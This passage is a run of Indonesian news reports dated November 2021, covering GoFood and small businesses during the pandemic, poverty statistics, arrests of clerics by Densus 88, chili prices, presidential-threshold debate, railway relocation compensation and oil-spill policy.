banding, terdakwa divonis bebas oleh Mahkamah Syar'iyah Provinsi Aceh dengan nomor perkara 7/JN/2021/MS. Aceh tertanggal 20 Mei 2021. Kemudian, atas putusan Mahkamah Syar'iyah Aceh tersebut Jaksa Penuntut Umum (JPU) Kejari Aceh Besar melakukan upaya hukum kasasi ke Mahkamah Agung RI. Lalu, MA kembali memvonis terdakwa DP dengan hukuman 200 bulan penjara lewat putusan kasasi dengan Nomor 8 K/Ag/JN/2021. (sws, ant)

Bangkit di Tengah Keterpurukan

Perekonomian Indonesia terpuruk saat pandemi Covid-19 melanda dunia. Namun ada satu sektor yang mampu bertahan dan bangkit yakni UMKM yang memanfaatkan pasar digital. Permana masih bisa tersenyum selama masa work from home (WFH). Aparatur Sipil Negara (ASN) di sebuah lembaga negara ini punya usaha sampingan bersama sang istri. Mereka berjualan siomay secara online melalui platform GoFood. Pemberlakuan Pembatasan Sosial Skala Besar (PSBB) dan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) saat pandemi Covid-19, memacu Permana untuk bangkit dan berjuang. Bagi Permana pandemi justru membawa berkah tersendiri. Banyak pesanan siomay yang datang masuk lewat GoFood. Apalagi pada saat WFH, sehari-hari ia bersama sang istri semakin disibukkan melayani pesanan konsumen. “Lumayanlah Mas, ada tambahan pemasukan,” kata ayah dari dua orang anak ini. Ia mengaku pemasukan tambahan itu bisa meringankan beban cicilan rumah dan kendaraan, Selasa (16/11). Permana berkisah, mulanya sang istri hanya iseng membuat siomay kemudian dijajakan di lapak sederhana. Setiap hari dagangannya selalu habi. Dari situ muncul ide untuk menjajakan siomay lewat online. Warga Perumahan Cimone Permai, Karawaci, Tangerang itu memilih berjualan melalui GoFood. Pengalaman menarik dialami oleh Ferdian Firmansyah. Pemilik Kedai Sop dan Sate YY Net di Perumahan Puri Bojong Lestari, Pabuaran, Bojonggede, Bogor itu mengubah warnetnya menjadi kedai makan. Kedai sop ini, kata Ferdi - panggilan akrabnya - awalnya hanya sambilan, di samping bisnis utama rental internet. Namun, lama kelamaan bisnis internet makin suram. Perlahan namun pasti, kedainya berkembang. Keadaan makin membaik ketika awal pandemi tahun 2020, pelanggannya makin banyak. Akhirnya warung internet ditutup, lalu ruangannya dipakai buat memperluas warung sop dan sate tersebut. “Nama YY Net tetap kami pertahankan,” papar Ferdi di lapaknya Selasa (16/11).. Peningkatan omset semakin meroket setelah pemerintah memberlakukan PSBB hingga PPKM. “Kami hampir kuwalahan melayani pembeli lewat online,” katanya. Selama pandemi, kata Ferdi secara umum pendapatan warung menurun, akan tetapi secara khusus pendapatan via online, justru meningkat cukup tinggi. “Peningkatan order lewat GoFood meningkat sekitar 35 persen,” kata Ferdi tampak senang. “Kenapa memilih GoFood karena lebih simpel dan banyak promosi. Kita sering mendapatkan souvernir dari GoFood. Kita sering mendapatkan hadiah dan bingkisan lainnya,” tegas Ferdi. Hal baik lainnya jika dibandingkan dengan platform lain, kata Ferdi adalah perhatian Go Food terhadap mitra cukup nyata, misalnya secara berkala mitra diberikan hand sanitizer, masker, dan selotip gratis. Apalagi kalau ikut dalam komunikasi GoFood atau webinar GoFood, akan semakin banyak souvenir yang didapatkan. Tak hanya itu, kata Ferdi, GoFood memberikan kemudahan dalam bertransaksi, misalnya saat terjadi pembatalan order. “Jika ada order batal, kompensasi dari GoFood mudah dan simpel. Ini yang saya suka,” tegasnya. GoFood menjadi pilihan warga urban untuk pesan makanan sesuai selera. Banyak pilihan di galeri makanan yang bisa dipesan melalui GoFood. Inilah yang membuat Tama, seorang mahasiswa dari sebuah universitas negeri di Depok, terbiasa memesan makanan via GoFood. Mahasiswa baru ini masih menjalani kuliah secara online. Saat tidak berselera makanan di rumah, dia meraih smartphone dan menengok galeri makanan di GoFood. “Mau makan apa aja sekarang bisa. Gampang pilih makanan,” ujarnya. Dari sisi pelaku usaha seperti Permana dan Ferdian, GoFood membuat operasional usaha makanan lebih efisien. Pencarian variasi makanan dan transaksi dapat dilakukan secara cepat dan akurat. GoFood adalah salah satu layanan yang diberikan platform digital Gojek. Aplikasi Gojek yang berdiri pada tahun 2010, awalnya hanya menawarkan layanan antar-jemput transportasi. Pada tahun-tahun berikutnya Gojek mulai berinovasi menambahkan fitur lain seperti antar-makanan (GoFood), paket barang (GoSend), pembayaran digital (GoPay), pesan antar belanjaan (GoMart), layanan streaming dan hiburan (GoGames, GoPlay, GoTix). Kontribusi GoFood Pandemi Covid-19 telah menimbulkan dampak serius pada hampir seluruh aspek kehidupan manusia di dunia. Pasalnya, penularan massif virus ini menyerang aspek paling fundamental dari seluruh aktivitas manusia, yaitu interaksi fisik antar-manusia. Karena itu, untuk memutus mata rantai penyebaran Covid-19 maka interaksi antar-manusia dikendalikan, antara lain melalui kebijakan stay at home (diam di rumah), work from home (bekerja di rumah), social dan physical distancing (menjaga jarak). Itulah sebabnya pandemi Covid-19 dan penerapan protokol kesehatan membuat masyarakat mengandalkan aplikasi digital untuk memenuhi kebutuhan sehari-hari. Hal ini telah mengakselerasi gaya hidup digital dengan cepat. Masyarakat memilih bertransaksi dengan aman dan nyaman. Transaksi berbasis digital pun menunjukkan tren melonjak selama pandemi. Riset menunjukkan selama masa pandemi waktu berselancar di platform digital meningkat dari semulai 3,7 jam per hari menjadi 4,2 jam - 4,7 jam per hari. Data riset Lembaga Demografi Fakultas Ekonomi dan Bisnis Universitas Indonesia (LD FEB UI) menunjukkan mitra UMKM GoFood memperoleh kenaikan pendapatan sebesar 66% pada tahun 2021. Dengan kata lain, para penjual makanan di GoFood mengalami kenaikan keuntungan sebesar 66% selama pandemi tahun kedua (2021). Bisa dibandingkan dengan pemulihan pendapatan mitra GoCar dan GoRide yang hanya 24% dan 18%. Artinya, platform digital Gojek bermanfaat sebagai tempat mencari nafkah. Riset berjudul “Dampak Ekosistem Gojek terhadap Perekonomian Indonesia 2021: Mendukung Pemulihan Ekonomi Nasional”, ini secara keseluruhan ekosistem Gojek dan GoTo Financial memberikan kontribusi hingga Rp 249 triliun atau setara 1,6% PDB Indonesia. Ekosistem Gojek dan GoTo Financial membantu pemulihan ekonomi Indonesia yang dihajar pandemi Covid-19. Kontribusi itu tidak lepas dari layanan GoFood dan GoCar dan GoRide. Riset itu juga menunjukkan 65% konsumen lebih sering menggunakan layanan GoFood. Bahkan, sebagian besar konsumen (73%) memanfaatkan layanan GoFood untuk memesan makanan untuk keluarga atau teman. VP Corporate Communication Gojek Audrey P. Petriny mengungkapkan pada 2021 pertumbuhan menu makanan dalam layanan GoFood telah mencapi lebih dari 34 juta menu dengan lebih dari 1 juta mitra usaha. “Kami berkomitmen memberikan layanan kuliner terbaik bagi pelanggan melalui tiga pilar utama, yaitu variasi menu makanan dan minuman terlengkap, inovasi yang mendorong kenyamanan menjelajah dan memesan makanan, serta layanan yang setara dengan nilai yang dikeluarkan pelanggan,” katanya. Reporter: Budi Sucahyo Editor: Sri Widodo

Wali Kota Padang Klaim Angka Kemiskinan Turun Lampaui Target RPJMD

Padang, FNN - Wali Kota Padang Hendri Septa mengklaim angka kemiskinan di Padang turun dan melampai target dalam Rencana Pembangunan Jangka Menengah Daerah 2019-2024. "Pada 2019 angka kemiskinan di Kota Padang 4,48 persen, pada 2020 turun menjadi 4,40 persen ini sudah melampaui target RPJMD 2019-2024 yaitu 4,65 persen," kata dia di Padang, Selasa, 16 November 2021, saat Rapat Koordinasi Tim Koordinasi Penanggulangan Kemiskinan (TKPK) Kota Padang. Menurut dia, walau di masa pandemi, ternyata angka kemiskinan turun karena banyak bantuan langsung tunai dan sembako diberikan kepada masyarakat serta tingginya sikap kegotongroyongan warga Kota Padang. Pemerintah Kota Padang melaksanakan beberapa program penanggulangan kemiskinan, seperti diamanatkan oleh Peraturan Presiden Nomor 15 Tahun 2010 tentang Percepatan Penanggulangan Kemiskinan, di antaranya menggunakan Data Terpadu Kesejahteraan Sosial (DTKS) sebagai data sasaran dalam penanggulangan kemiskinan, menyinergikan program yang dilaksanakan oleh pemerintah pusat pemerintah kota dan antar-OPD. Ia berharap, program-program yang ditujukan kepada masyarakat miskin lebih fokus supaya masyarakat yang masih berada di bawah garis kemiskinan dapat lebih diperhatikan. Kepala Badan Perencanaan Pembangunan Daerah (Bappeda) Kota Padang Yenni Yuliza mengatakan TKPK merupakan wadah koordinasi lintas sektor dan lintas pemangku kepentingan untuk penanggulangan kemiskinan di Kota Padang. "Melalui lembaga ini dapat dilihat perkembangan kondisi kemiskinan dan perkembangan pelaksanaan program kegiatan penanggulangan kemiskinan di Kota Padang terutama pada masa pandemi Covid-19," katanya, sebagaimana dikutip dari Antara. Sebelumnya, Badan Pusat Statistik (BPS) Sumatera Barat mencatat hingga Maret 2021 terdapat penambahan penduduk miskin di provinsi itu sebanyak 5.880 orang. "Pada September 2020 jumlah warga masuk kategori miskin di Sumbar sebanyak 364.790 ribu orang dan Maret 2021 meningkat jadi 370,670 ribu orang," kata Kepala BPS Sumbar Herum Fajarwati. Menurut dia, pada periode September 2020 hingga Maret 2021 jumlah penduduk miskin di daerah perkotaan bertambah 4.270 orang dari 141.310 orang menjadi 145.580 orang. Sejalan dengan itu di perdesaan pada periode September 2020 sampai Maret 2021 juga terjadi penaikan penduduk miskin 1.620 orang dari 223.470 orang menjadi 225.090 orang. Ia menjelaskan pada Maret 2020 komoditas yang menjadi penyumbang angka kemiskinan di Sumbar baik perkotaan dan perdesaan adalah beras, rokok kretek filter, cabai merah, tongkol, dan telur ayam ras, Sementara komoditas nonmakanan yang menjadi penyumbang garis kemiskinan di Sumbar meliputi perumahan, bensin, listrik, pendidikan dan perlengkapan mandi. Pada periode September 2019 hingga Maret 2020 indeks kedalaman kemiskinan di Sumbar juga meningkat dari 0,992 menjadi 1,043. "Indeks kedalaman kemiskinan menunjukkan penduduk miskin memiliki rata-rata pengeluaran lebih besar dibandingkan garis kemiskinan," ujar dia. (MD).

Polda Sulawesi Barat Edukasi Masyarakat Terkait Emisi Kendaraan

Mamuju, FNN - Kepolisian Daerah Sulawesi Barat gencar mengedukasi masyarakat terkait bahaya yang dihasilkan emisi kendaraan, kata Kepala Bidang Hubungan Masyarakat Polda Sulawesi Barat Komisaris Besar Polisi Syamsu Ridwan. "Polda Sulbar melalui Direktorat Lalu Lintas masih melakukan sosialisasi terhadap bahaya emisi kendaraan," katanya dihubungi dari Mamuju, Selasa, 16 November 2021. Polda Sulbar, katanya, hingga kini belum akan melakukan uji emisi kendaraan mengingat kondisi ekonomi masyarakat di daerah itu masih belum stabil akibat pandemi. "Kalau uji emisi, belum kita lakukan karena kondisi ekonomi masyarakat, termasuk terkait kearifan lokal," terangnya, sebagaimana dikutip dari Antara. Namun, Polda Sulbar tetap melakukan langkah preventif melalui razia kendaraan bermotor yang menggunakan knalpot racing penyebab emisi. "Tentu, kami tetap melakukan razia terhadap knalpot racing yang memang knalpot itu menghasilkan emisi tidak layak atau beracun," tegas dia. Melalui Operasi Zebra Marano , kata dia, Ditlantas Polda Sulbar menjadikan knalpot racing penyebab emisi sebagai sasaran operasi. "Melalui Operasi Zebra Marano ini, knalpot racing penyebab emisi menjadi salah satu target. Selain itu, kami tetap menyosialisasikan agar masyarakat tidak menggunakan knalpot penyebab emisi," ujar dia. (MD).

Wakil Ketua MUI Prihatin Penangkapan Ulama Dan Tokoh Umat

Jakarta, FNN - Wakil Ketua Umum Majelis Ulama Indonesia (MUI), Anwar Abbas, prihatin dengan penangkapan ulama dan tokoh umat oleh Densus 88 anti teror Polri. "Bagi saya pribadi, benar-benar sangat mencengangkan dan mengagetkan atas penangkapan Farid Okbah oleh Densus 88," kata dia, dalam keterangan tertulis di Jakarta, Selasa, 16 November 2021. Menurut dia penangkapan itu tentu terkait dengan masalah terorisme. Namun, dia mempertanyakan tindakan tindakan itu, karena sepengetahuan Abbas, Okbah adalah seorang ulama yang anti tindak kekerasan. "Kok dia ditangkap oleh Densus 88," ujar dia, sebagaimana dikutip dari Antara. Terkait penangkapan Ahmad Zain An-Najah, dia tidak memberikan keterangan lagi. Selain itu, dia meminta Densus untuk menjelaskan penangkapan itu sejelas-jelasnya kepada publik, karena hal itu juga berkepentingan dengan nama baik presiden. "Karena yang ditangkapi itu adalah ulama, sehingga pemerintahan Jokowi telah dianggap sebagian elemen masyarakat telah melakukan kriminalisasi terhadap ulama karena memang telah banyak ulama, ustadz, dan dai yang ditangkap," kata dia. Sebelumnya, Kepala Bagian Penerangan Umum Divisi Humas Kepolisian Indonesia, Komisaris Besar Polisi Ahmad Ramadhan, mengungkapkan, tiga terduga teroris yang ditangkap di Bekasi memiliki peran sebagai pengurus dan Dewan Syuro Jamaah Islamiyah. Tiga terduga teroris yang ditangkap Tim Detasemen Khusus 88 Antiteror Polri, yakni berinisial AA, AZ dan FAO. Ketiga teroris kelompok JI ditangkap di Bekasi, Jawa Barat, Selasa pagi. Dimulai dari AZ ditangkap pukul 04.39 WIB, berlokasi di Jalan Merbabu Raya, Perumahan Pondok Melati, Bekasi. Kedua, FAO ditangkap pukul 04.43 WIB di Jalan Yanatera, Kelurahan Jatimelati, Bekasi. Kemudian yang ketiga, AA ditangkap pukul 05.49 WIB berlokasi di Jalan Raya Legok Blok Masjid, Jatimelati, Bekasi. Berdasarkan data yang diperoleh, terduga AZ merujuk kepada Densus, yakni AZ merujuk pada Ahmad Zain An-Nazah, AA merujuk pada Anung Al Hamat, sedangkan FAO merujuk pada Okbah. (MD).

Ketua DPD RI Siap Perjuangkan Transformasi IAIN Pare-pare Jadi Universitas Sains Islam Indonesia

Pare-pare, FNN - Ketua DPD RI, AA LaNyalla Mahmud Mattaliti mengatakan dukungannya terhadap transformasi status Institut Agama Islam Negeri (IAIN) Pare-pare menjadi Universitas Sains Islam Indonesia. Bahkan, LaNyalla akan berusaha memperjuangkan perubahan status tersebut sampai berhasil. LaNyalla mengatakan hal tersebut saat menerima aspirasi yang disampaikan oleh Wakil Rektor I Bidang APK IAIN Pare-pare, Sitti Jamilah Amin dalam FGD (Focus Group Discussion) di Auditorium IAIN Pare-pare, Selasa 16 November 2021. Hadir dalam acara tersebut antara lain anggota Dewan Perwakilan Daerah (DPD) asal pemilihan Sulawesi Selatan, Tamsil Linrung. "Saya tidak hanya memberikan testimoni dukungan, tetapi akan action. Akan kami perjuangkan. Hal itu sudah saya buktikan. Ada belasan kampus Islam yang kami perjuangkan menjadi UIN (Universitas Islam Negeri). Jadi, aspirasi dari IAIN Pare-pare ini akan kami teruskan," kata LaNyalla dalam siaran persnya yang diterima FNN.co.id, Selasa malam, 16 November 2021. Sitti Jamilah Amin yang mewakili Rektor IAIN Pare-Pare, Ahmad Sultra Rustan yang sedang sakit, menjelaskan, biasanya IAIN berubah menjadi UIN namun IAIN Pare-Pare ingin lebih spesifik. "Kami ingin transformasi yang arahnya menjadi Universitas Sains Islam di Indonesia. Sebab, sejauh ini belum ada universitas serupa, sehingga IAIN Pare-Pare akan mengisi posisi tersebut," kata Sitti. Menurut Sitti, pihaknya masih dalam tahap menyusun naskah akademik. Sitti menjelaskan, sudah ada dukungan dari Direktur Jenderal (Dirjen) Pendidikan Islam Kementerian Agama, HM Ali Ramdhani. Dalam testimoninya, Dirjen berharap transformasi IAIN Pare-Pare akan menjadi poros episentrum peradaban sains dan teknologi yang dibingkai oleh nilai ke-Islaman. "Artinya ide dan rencana besar itu harus dapat dukungan, support (dukungan) dan motivasi dari berbagai pihak. Terutama kami meminta dukungan dari Ketua DPD untuk mewujudkan rencana tersebut," kata Sitti. (FNN).

Harga Cabai di Pasar Tradisional Makassar Merangkak Naik

Makassar, FNN - Harga cabai pada sejumlah pasar tradisional terus merangkak naik seiring dengan masuknya musim penghujan yang berdampak hasil panen petani terbatas hingga stok pun ikut berkurang. "Harga cabai rawit kecil sudah naik dari semula Rp 15 ribu per kilogram, menjadi Rp 20 ribu per kilogram," kata Hj Farida, pedagang di pasar Pabaeng-baeng, Makassar, Sulawesi Selatan, Selasa, 16 November 2021. Selain harga cabai kecil, kata dia, harga cabai merah keriting juga mengalami kenaikan. Dari biasanta Rp 18 ribu per kilogram, naik menjadi Rp 22 ribu per kilogram. "Kenaikan ini berpengaruh. Pembeli mulai berkurang, ada juga kaget kenapa harganya naik sekali, saya bilang stoknya kurang, jadi harga naik," paparnya, sebagaimana dikutip dari Antara. Begitupula harga jeruk nipis, dari harga sebelumnya, Rp 5000, naik menjadi Rp 18 ribu per kilogram. Sedangkan harga minyak goreng curah, juga ikut naik dari Rp 13.500 naik Rp 15 ribu per liter. "Kalau sekarang semua apa-apa naik, minyak goreng curah juga stoknya menipis. Banyak pembeli memilih minyak kemasan, karena harganya hanya beda sedikit," ujarnya. Dikonfirmasi terpisah, Kepala Unit Pasar Pabaeng-baeng, Imran mengemukakan kenaikan harga cabai itu merupakan hal yang normal, mengingat kondisi cuaca memasuki musim penghujan. Kendati demikian, untuk stok cabai tetap terjaga. "Kenaikan itu tidak terlalu signifikan pengaruhnya, sebab ini kan sudah masuk musim penghujan. Untuk stok masih aman. Kalau minyak curah, memang kenaikan cukup tinggi, tapi tidak terlalu berpengaruh," ujarnya. Berdasarkan data PD Pasar Raya per 16 November 2011, harga cabai berfluktuasi. Di Pasar Terong, untuk cabai rawit Rp 10 ribu sampai Rp 15 ribu per kilogram. Disusul cabai besar merah Rp 15 ribu, cabai merah keriting Rp 17 ribu per kilogram dan minyak goreng curah Rp 17 ribu per kilogram. Di Pasar Panakukang, harga cabai rawit dan cabai besar merah Rp 20 ribu-Rp 25 ribu per kilo gram, disusul cabai merah keriting Rp 20 ribu sampai Rp 30 ribu per kilogram. Minyak goreng curah asih stabil Rp17 ribu per liter. Sedangkan di Pasar Sambung Jawa, harga cabai rawit Rp 20 ribu per kilogram, cabai besar merah dan cabai merah keriting masing-masing Rp 18 ribu per kilogram. Minyak goreng curah Rp 18 ribu per liter. Sementara di Pasar Niaga Daya, harga cabai rawit pada kisara Rp 14 ribu per kilogram, disusul cabai besar merah Rp 15 ribu per kilogram, dan cabai merah keriting Rp 18 ribu per kilogram. Minyak goreng curah Rp 15 ribu per liter. (MD).

Sejumlah Ustad dan Mubalig Ditangkap, Nasir Djamil Minta Densus 88 Jangan Sewenang-Wenang

Jakarta, FNN – Sejumlah ustad dan mubalig, yakni Ustad Farid Okbah, Ustad Zain An Najah, dan Ustad Anung Al-Hamat ditangkap oleh penyidik Densus 88. Hingga saat ini belum diketahui apa dasar penangkapan ketiga mubalig dan tokoh Islam itu. Menanggapi hal tersebut, anggota Komisi III DPR RI M. Nasir Djamil, dalam keterangan persnya mendesak Densus 88 agar mengedepankan hukum dan keadilan, transparansi serta tidak sewenang-wenang dalam hal penangkapan terhadap kedua orang Itu yang dekat dengan umat. Setahu dirinya mereka itu dalam ceramahnya tidak menghujat pemerintah atau berorientasi takfiri. Menurut Nasir yang juga pernah menjadi anggota Pansus RUU Terorisme, pasal 28 ayat (1) UU 5/2018 memang memberikan hak kepada penyidik untuk melakukan penangkapan terhadap setiap orang yang diduga melakukan tindak pidana terorisme. Namun dalam kasus seperti itu, Densus 88 harus memberikan penjelasan yang transparan atas penangkapan tersebut. Hal ini penting dilakukan agar jangan terkesan Densus 88 yang pernah ditantang oleh organisasi teroris KKB Papua, malah sepertinya hanya menyasar mubalig muslim, tebang pilih dan cenderung menyudutkan umat Islam. Disamping itu, legislator asal Aceh ini juga meminta selama dalam penahanan dan proses penyelidikan, Densus 88 wajib menghormati hak asasi ketiga orang ustad itu. Ini rohnya UU 5/2018. “Sebagai legislator Komisi Hukum DPR RI, saya berkewajiban mengingatkan Densus 88 agar perlindungan dan pemenuhan hak asasi manusia harus tetap diberikan selama mereka ditahan. Dengan kata lain, hak-hak mereka harus dipenuhi”, ujar Nasir. Dalam keterangan persnya itu, Nasir Djamil juga menyerukan kepada Densus 88, TNI dan Polri dan Pemerintah agar dalam menanggulangi terorisme juga mempertimbangkan faktor objektifitas. Sebab, lanjut Nasir, sebagian besar tokoh dan penceramah muslim di Indonesia tidak pernah mengangkat senjata atau membeli senjata dari oknum aparat yang dipakai oleh gerakan separatis, apalagi sampai mendirikan negara yg berpisah dari NKRI. Dalam rilisnya itu, Nasir Djamil juga membandingkan dengan KKB yang telah dinyatakan sebagai organisasi teroris oleh pemerintah pada April 2021 lalu. KKB itu, tambahnya, membunuh aparat TNI dan Polri, rakyat sipil, tenaga kesehatan, membakar pasar, Puskesmas, sekolah, dan gedung pemerintah. Namun sayangnya, Densus 88 dan pasukan khusus TNI yang bertugas menanggulangi teroris seolah tak berdaya. “Publik bingung, kok ada organisasi yang sudah dinyatakan sebagai teroris dengan leluasa membunuh dan meneror aparat dan rakyat. Sementara mubalig dan tokoh muslim diciduk dan dicurigai sebagai bagian kelompok terorisme. Dimana keadilan hukumnya?” ungkap Nasir. Terakhir, Nasir Djamil mengharapkan adanya hubungan yang harmonis antartokoh agama, terutama pemuka agama Islam dan memberikan perlindungan terhadap mereka guna menjaga kedaulatan NKRI. “Ibaratnya, musuh negara yang sudah nyata di depan mata kok terkesan dibiarin, sementara kawan di samping yang membela NKRI justru dicurigai sebagai bagian dari jaringan terorisme”, pungkas Nasir. (sws)

Presidential Treshold Buka Peluang Capres Boneka dan Kompromi Tak Sehat

Makassar, FNN - Pemberlakuan Presidential Treshold (PT) untuk mengajukan calon presiden pada Pemilu, dinilai dapat membuka lahirnya calon presiden boneka dan kompromi-kompromi politik yang tak sehat untuk bangsa. Penilaian itu disampaikan Senator asal Sulawesi Selatan, Tamsil Linrung, saat menjadi narasumber pada Focus Group Discussion (FGD) dengan tema 'Presidential Treshold dan Ancaman Oligarki Pemecah Bangsa' yang diselenggarakan di Kampus Universitas Muslim Indonesia (UMI) Makassar, Selasa (16/11/2021). Menurut dia, hal itu bukan tak mungkin terjadi. Sebab, saat ini saja, ketika tujuh partai politik berkoalisi, seolah menutup kemungkinan munculnya calon presiden selain yang mereka ajukan. "Muncul-lah calon boneka yang kompromistis. Nanti kamu kalah, tapi kamu akan mendapat posisi Menteri Pertahanan. Begitu kira-kira contohnya," kata Tamsil. Dalam pengamatannya, itulah cara kerja oligarki dalam mencengkram bangsa ini. Menurut Tamsil, jika saja oligarki ini mau menunjukkan taring kuasanya, ia bisa saja serampangan menjadikan seseorang untuk menjadi presiden. "Oligarki ini kalau mau menunjukkan taringnya, bisa saja diambil orang gila di jalan, dia dandani lalu dijadikan Presiden. Begitulah, karena dia punya kontrol, ada remote yang bisa dia mainkan kapan saja dia mau," katanya. Tamsil melanjutkan, dalam konteks memperbaiki arah perjalanan bangsa, maka amandemen konstitusi ke-5 merupakan solusi komprehensif. Hal ini biasa terjadi di banyak negara di dunia. "Konstitusi ini, UUD 1945 ini bukan kitab suci. Kenapa kita takut mengamandemen kalau ada kelemahan di dalamnya. Tak ada alasan untuk tidak mengamandemen, karena di banyak negara pun hal itu terjadi," ucapnya. DPD RI sendiri, sudah menyiapkan langkah strategis dan taktis menyikapi Presidential Treshold yang menjadi sumber penghambat anak bangsa potensial bisa diajukan sebagai calon presiden. "Kami mempertimbangkan untuk menempuh judicial review terhadap aturan Presidential Treshold ini. Jangan sampai Presidential Treshold ini membuat partai politik ini teramat berkuasa dan yang lain warga kelas dua. Maka, kita butuh calon independen. Kalau presiden diajukan oleh partai peserta pemilu, maka juga kita ingin peserta pemilu non-parpol bisa memiliki hak mengajukan presiden," papar dia. Menurut Tamsil, momentum amandemen konstitusi ke-5 harus dimaknai sebagai upaya untuk memperbaiki dan mengoreksi arah perjalanan bangsa. "Amandemen konstitusi ini kita sikapi secara positif. Kita ingin semua punya kesempatan sama dalam bangsa ini. Kita berharap dapat menghasilkan pemimpin legitimate," kata dia. Narasumber lainnya yang merupakan dosen Hukum Tata Negara Fakultas Hukum UMI, Fahri Bachmid senada dengan Tamsil, jika oligarki sudah teramat menguasai negeri ini. "Oligarki ini sulit dilihat, tapi bisa dirasakan bahwa operasi oligarki itu ada. Segala sesuatunya sudah di-remote dan di-setting sedemikian rupa sesuai kepentingan yang diinginkan," tutur dia. Dari catatannya, Mahkamah Konstitusi (MK) telah menolak sebanyak 12 kali permohonan judicial review secara potensial dan aktual dari mereka yang dirugikan atas keberadaan Presidential Treshold. "Alasannya, ini dalam rangka mengafirmasi dan memperkuat sistem presidensiil. Padahal, negara besar di dunia, kiblat demokrasi, sebut saja Amerika Serikat misalnya, mereka memiliki ciri multi partai juga, tetapi tak pernah menerapkan Presidential Treshold," kata Fahri. Fahri menegaskan jika daya hancur dan destruktif Presidential Treshold lebih tinggi daripada manfaatnya. "Pembelahan ekstrem dan polarisasi konfrontatif yang mereduksi fakta demokrasi substantif yang kita bangun, itu yang terjadi di lapangan," ujarnya. Presidential Treshold yang didasari penguasaan partai politik pada jumlah kursi di parlemen atau perolehan suara pada pemilu membuat mereka menjadi ugal-ugalan dalam bertindak. Suara aspirasi rakyat tak lagi didengar. Penolakan Omnibus Law salah satu bukti nyatanya. "Seluruh rakyat menolak. Tapi, mereka menguasai 80 persen kursi dan akhirnya lolos. Segelintir partai bisa memutuskan apapun yang berkaitan dengan hajat hidup orang banyak," ujarnya. Ia sependapat jika Presidential Treshold harus ditiadakan. Ia pun mendorong DPD RI untuk mengambil peran lebih dan mengawal hal ini. "Bagaimana kalau DPR tidak punya political will untuk menolkan Presidential Treshold? Harapan kita ada di MK. DPD RI punya legal standing," harap dia. Dari hasil kajiannya, Presidential Treshold memang wajib ditiadakan. "Dari naskah amandemen 1-4, tidak sama sekali menginginkan adanya pranata pembatasan dalam kontestasi politik. Titik tumpunya adalah setiap warga negara punya hak mencalonkan presiden. Hak konstitusionalnya hak rakyat bukan hak presiden. Parpol itu alat," tegas dia.(ran)

Balai Perkeretaapian Berikan Santunan Warga Terdampak Rel Layang Joglo

Solo, FNN - Balai Perkeretaapian Kelas I Wilayah Jawa Bagian Tengah memberikan santunan kepada warga yang terdampak rel layang Joglo yang pembangunannya dimulai dalam waktu dekat. Kepala Balai Perkeretaapian Kelas I Wilayah Jawa Bagian Tengah Putu Sumarjaya di sela pemberian santunan di Kantor Kelurahan Joglo Solo, Selasa, mengatakan ada sekitar 500 kepala keluarga yang memperoleh santunan dengan total anggaran sebesar Rp32 miliar. "Ini upaya penertiban dulu, kalau pembebasan lahan mulai tahun depan, itu yang ada di tanah KAI," katanya. Ia mengatakan untuk nilai santunan yang diberikan kepada setiap penerima tidak sama, tergantung dari sejumlah komponen yang dipertimbangkan, di antaranya nilai bangunan dan pohon yang tumbuh di tanah. "Selain itu juga akan diberikan biaya sewa kurang lebih enam bulan," katanya. Pada kesempatan yang sama, Wakil Wali Kota Surakarta Teguh Prakosa mengatakan warga yang masih tinggal di tanah KAI tersebut akan diberikan waktu selama satu minggu ke depan untuk berkemas dan meninggalkan lokasi yang ditinggali selama ini. Ia mengatakan untuk pemindahan tersebut, pemerintah daerah akan memberikan bantuan berupa alat transportasi. Dengan demikian, diharapkan bantuan tersebut bisa meminimalisasi pengeluaran warga untuk biaya pindahan. Salah satu warga penerima santunan Supriyanto mengatakan sudah menerima tali asih sebesar Rp4,3 juta. "Saya belum tahu mau pindah ke mana, karena kalau cari kontrakan baru sekitar Rp10 juta," katanya. (mth)

Kemenhub Komitmen Atasi Tumpahan Minyak di Laut

Jakarta, FNN - Kementerian Perhubungan (Kemenhub) berkomitmen untuk mengatasi tumpahan minyak di laut dengan menerapkan sistem tindakan penanggulangan yang cepat, tepat, dan terkoordinasi. "Langkah tersebut antara lain pengesahan peraturan perlindungan lingkungan maritim, penguatan fungsi kelembagaan, peningkatan kerja sama di dalam negeri maupun secara internasional hingga pembangunan kapasitas sumber daya manusia,” ujar Menteri Perhubungan Budi Karya Sumadi dalam keterangannya yang dipantau di Jakarta, Selasa. Budi Karya mengatakan Indonesia merupakan negara kepulauan terbesar di dunia, sehingga transportasi laut menjadi urat nadi yang harus dikembangkan dengan baik dan benar, guna menunjang pertumbuhan ekonomi. Dalam kegiatan Focus Group Discussion (FGD) tentang Perlindungan Lingkungan Maritim Ditinjau dari Perspektif Kebijakan, Ekonomi dan Teknologi yang berlangsung secara daring, pada Selasa, Menhub mengatakan bahwa salah satu peran dan tanggung jawab pemerintah adalah menjaga dan menjamin terlaksananya perlindungan lingkungan maritim. Menurut Menhub, salah satu gangguan utama terhadap transportasi laut adalah adanya pencemaran di perairan, khususnya akibat dari tumpahan minyak bumi. Potensi pencemaran tersebut, dapat terjadi baik dalam skala kecil maupun skala besar. Pencemaran ini dapat merusak lingkungan, dan membahayakan masyarakat di wilayah terdampak. Ia mengungkapkan Kemenhub mengeluarkan beberapa peraturan, yang bertujuan untuk memastikan perlindungan lingkungan maritim. Beberapa di antaranya adalah peraturan terkait Pencegahan Pencemaran dari Kapal, Penanggulangan Pencemaran di Perairan dan Pelabuhan, Pencegahan Pencemaran Lingkungan Maritim, dan tentang Prosedur Penanggulangan Keadaan Darurat Tumpahan Minyak (Tier 3) di Laut. Kemudian, dalam penguatan fungsi kelembagaan, Kemenhub melalui direktorat teknis berupaya untuk meningkatkan kecakapan dan kemampuan guna menunjang pelaksanaan tugas dan fungsi di lapangan. “Sebagai contoh, Kemenhub melakukan pembaharuan kapal patroli dan perangkat lunak pendeteksi pergerakan tumpahan minyak, serta pengadaan alat penanggulangan pencemaran yang ditempatkan di berbagai Unit Penyelenggara Teknis Ditjen Perhubungan Laut,” tutur Menhub. Kemenhub juga telah menjalin kerja sama dengan kementerian dan lembaga terkait. Selain itu, kerja sama dengan negara-negara lain di Kawasan Asia Pasifik, khususnya dalam penanganan pencemaran minyak lintas batas negara juga terus ditingkatkan. Yang terakhir, penyelenggaraan pendidikan dan pelatihan bagi personil dilakukan dalam rangka pembangunan kapasitas SDM. Ditjen Perhubungan Laut juga menjalin kerja sama dengan Philippine Coast Guard, dan Japan Coast Guard untuk melaksanakan latihan rutin bersama 